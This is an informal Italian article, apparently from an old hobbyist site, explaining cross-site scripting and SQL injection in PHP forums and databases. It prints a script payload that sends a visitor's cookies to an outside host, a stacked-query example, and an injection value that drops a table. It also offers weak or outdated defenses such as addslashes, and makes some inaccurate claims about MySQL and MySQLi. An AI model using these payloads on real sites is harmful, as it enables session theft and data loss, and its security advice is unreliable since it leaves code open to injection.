/*
L'articolo è solo un testo informativo.
L'autore non vuole in nessun modo spronare i lettori a fare ciò.
Riferimenti a fatti, a persone e a qualsiasi altra cosa citata nel articolo sono puramente casuali.
*/

La S.Q.L. (Structured Query Language) Injection è un "attacco" usato dai lamer, che non sono capaci di procurarsi password e nome utente di un server RDBMS e quindi si dedicano alla cancellazione di qualche records o tabella.
Questo attacco è nato con il web, lo stesso vale per "l'attacco" "Cross-site scripting".
Questi due attacchi sono completamente diversi,  diciamo che uno lavora sul client e un altro sul server e che sono due "hack" (tanto per dire) completamente diversi.
Cross-site scripting è un attacco che viene molto bene sui forums (FFZ), dove se l'amministratore del forum ha attivato l'impostazione del codice H.T.M.L. (HyperText Markup Language) è possibile inserire un piccolo codice JavaScript (meglio, perché è supportato da tutti i browser di nuova generazione) o VBScript che puo infastidire l'utente durante la navigazione sul sito con dei semplici messaggi. L'attacco Cross-site scripting non è però tanto banale, pensate ad un forum a caso con l'abilitazione della registrazione degli utenti (FFZ), tramite questo attacco possiamo procurarci il nome utente e la password usata da qualsiasi utente. Cosi facendo si scatena una reazione a catena. Immaginate un utente che usa la stessa password per loggarsi a FFZ anche per la sua e-mail (eletronic-mail). Però bisogna comunque de-criptare i dati dei cookie e conoscere l'email. Questo attacco è possibile effettuarlo su tutti quei forum che non gestiscono bene il codice immesso dagli utenti, alcuni forum più prevenuti hanno sviluppato un proprio codice per la personalizzazione del testo, questo codice è chiamato vbCode. Un banale esempio di Cross-site scripting:

  <script>window.location.href="http://lol.it/utente/catturaCookie.php?cookie="+document.cookie+"";</script>

Come attacco è abbastanza sciocco ma è pericoloso per la vostra sicurezza.
Poi c'è la SQL Injection, che abbastanza difficile da realizzare, perché la maggior parte dei RDBMS in giro sono tutti MySQL, il quale non supporta le query multiple. Solo la nuova versione di MySQL ossia MySQLi le supporta, ma è comunque impossibile realizzarlo su di esso. Con questo attacco è possibile cancellare database, tabelle, records, creare e cancellare user.
Esempio di SQL Injection che non funziona su MySQL utilizzando un API per PHP (ATTENZIONE: sto parlando delle API per mysql di PHP):

  mysql_query("
   use chat;
   insert into utenti (nick, data_ingresso) values ('99 Posse', now());
   delete from utenti where id=1;
  ");

Quel pezzo di codice invece funziona molto bene su SQLite. Infatti in SQLite è possibile fare query multiple.
C'è bisogna di molta attenzione, da parte del programmatore, ai dati che si riceve dai form.
Alcuni programmatori lo fanno apposta, quasi come "backdoor", se un cliente mi da fastidio gli cancello tutto.
Per effettuare questa tecnica bisogna anche conoscere bene l'applicazione.
Se si lavora con delle stringhe non ci sono molti problemi.
Esempio:

  $valore=addslashes(htmlspecialchars($_POST["nick"]));
  sqlite_query($db, "insert into nomi (nick) values ('$valore')");

Il valore del campo (nick) del modulo viene trattato con due funzioni addslashes e htmlspecialchars, in modo che vengano eliminati caratteri nocivi per la query.
Se invece si ha a che fare con numeri, la situazione è diversa.
Esempio, con $_POST["num"] uguale a "1; drop table nomi;":

$valore=$_POST["num"];
sqlite_query($db, "select * from nomi where id=$valore");

Il problema può essere risolto con la funzione "intval($_POST["num"]);".
Sono quasi alla fine, voglio solo dirvi che per quanto rigurda l'attacco Cross-site scripting bisogna conoscere un linguaggio di scripting come ECMAScript (JavaScript) o VBScript e avere alla portata di mano un forum, guestbook, bacheca messaggi e qualsiasi altra cosa dove è possibile immettere dati tramite form (ora sto esagerando).
Invece per quanto riguarda l'attacco SQL Injection bisogna conoscere SQL e i vari dialetti che i RDBMS hanno sviluppato, l'RDBMS e trovare un buco nel programma

Addio e alla prossima, ricordatevi di bagnarlo spesso la sera.